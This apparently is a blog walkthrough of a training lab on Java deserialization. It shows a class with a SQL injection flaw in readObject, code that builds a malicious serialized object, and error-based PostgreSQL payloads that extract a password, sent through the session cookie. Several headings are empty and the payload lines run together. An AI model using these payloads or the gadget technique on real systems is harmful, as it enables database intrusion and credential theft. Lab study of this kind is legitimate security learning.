Sql Injection By Developing a custom gadget chain For Java Deserialization

SPOILERS:

What You’ll Learn:

What is Serialization/Deserialization:

Understating the Basics of Serialization/Deserialization

import java.io.*;class Name implements Serializable
{
public final String username;
public Name(String username)
{
this.username = username;
}
public String getUsername()
{
return username;
}
}class Test
{
public static void main(String[] args)
{
Name object = new Name("vanshal");
String filename = "file.ser";

// Serialization
try
{
//Saving of object in a file
FileOutputStream file = new FileOutputStream(filename);
ObjectOutputStream out = new ObjectOutputStream(file);

// Method for serialization of object
out.writeObject(object);

out.close();
file.close();

System.out.println("Object has been serialized");

}

catch(IOException ex)
{
System.out.println("IOException is caught");
}


Name object1 = null;

// Deserialization
try
{
// Reading the object from a file
FileInputStream file = new FileInputStream(filename);
ObjectInputStream in = new ObjectInputStream(file);

// Method for deserialization of object
object1 = (Name)in.readObject();

in.close();
file.close();

System.out.println("Object has been deserialized ");
System.out.println("username = " + object1.username);
}

catch(IOException ex)
{
System.out.println("IOException is caught");
}

catch(ClassNotFoundException ex)
{
System.out.println("ClassNotFoundException is caught");
}

}
}

Challenge Description:

Enumerating:

Analysing Source Code


<! — <a href=/backup/AccessTokenUser.java>Example user</a> →
package data.session.token;

import java.io.Serializable;

public class AccessTokenUser implements Serializable
{
private final String username;
private final String accessToken;

public AccessTokenUser(String username, String accessToken)
{
this.username = username;
this.accessToken = accessToken;
}

public String getUsername()
{
return username;
}

public String getAccessToken()
{
return accessToken;
}
}

Reviewing more code:

package data.productcatalog;

import common.db.ConnectionBuilder;

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
import java.sql.Connection;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;

public class ProductTemplate implements Serializable
{
static final long serialVersionUID = 1L;

private final String id;
private transient Product product;

public ProductTemplate(String id)
{
this.id = id;
}

private void readObject(ObjectInputStream inputStream) throws IOException, ClassNotFoundException
{
inputStream.defaultReadObject();

ConnectionBuilder connectionBuilder = ConnectionBuilder.from(
"org.postgresql.Driver",
"postgresql",
"localhost",
5432,
"postgres",
"postgres",
"password"
).withAutoCommit();
try
{
Connection connect = connectionBuilder.connect(30);
String sql = String.format("SELECT * FROM products WHERE id = '%s' LIMIT 1", id);
Statement statement = connect.createStatement();
ResultSet resultSet = statement.executeQuery(sql);
if (!resultSet.next())
{
return;
}
product = Product.from(resultSet);
}
catch (SQLException e)
{
throw new IOException(e);
}
}

public String getId()
{
return id;
}

public Product getProduct()
{
return product;
}
}

Magic Methods:

("SELECT * FROM products WHERE id = '%s' LIMIT 1", id)

Exploitation:

package data.productcatalog;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
public class ProductTemplate implements Serializable
{
public static final long serialVersionUID = 1L;
private final String id;
public ProductTemplate(String id)
{
this.id = id;
}
public String getId()
{
return id;
}
private void readObject(ObjectInputStream inputStream) throws IOException, ClassNotFoundException
{
inputStream.defaultReadObject();
}
}
import data.productcatalog.ProductTemplate;
import java.io.*;
class Serialize
{
public static void main(String[] args)
{
ProductTemplate object = new ProductTemplate(args[0]);
String filename = "file.ser";
// Serialization
try
{
//Saving of object in a file
FileOutputStream file = new FileOutputStream(filename);
ObjectOutputStream out = new ObjectOutputStream(file);

// Method for serialization of object
out.writeObject(object);
out.close();
file.close();
System.out.println("Object has been serialized");
}

catch(IOException ex)
{
System.out.println("IOException is caught");
}
}}

Exploiting Sql Injection:

' and 1=cast((SELECT table_name FROM information_schema.tables LIMIT 1 ) as int) and '1'='1      // THIS PAYLOAD WILL GET YOU THE TABLE NAME (users)' and 1=cast((SELECT column_name FROM information_schema.columns WHERE table_name='data_table' LIMIT 1 OFFSET 1) as int) and '1'='1  // THIS PAYLOAD WILL GIVE THE COLUMNAME WHICH WE NEED (password)Finally lets retrive the password from users table' and 1=cast((SELECT password FROM users LIMIT 1) as int) and '1'='1
java Serialize "' and 1=cast((SELECT password FROM users  LIMIT 1) as int) and '1'='1"Encode base64 and url the payload the send it to session cookie using burp 

--

--

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store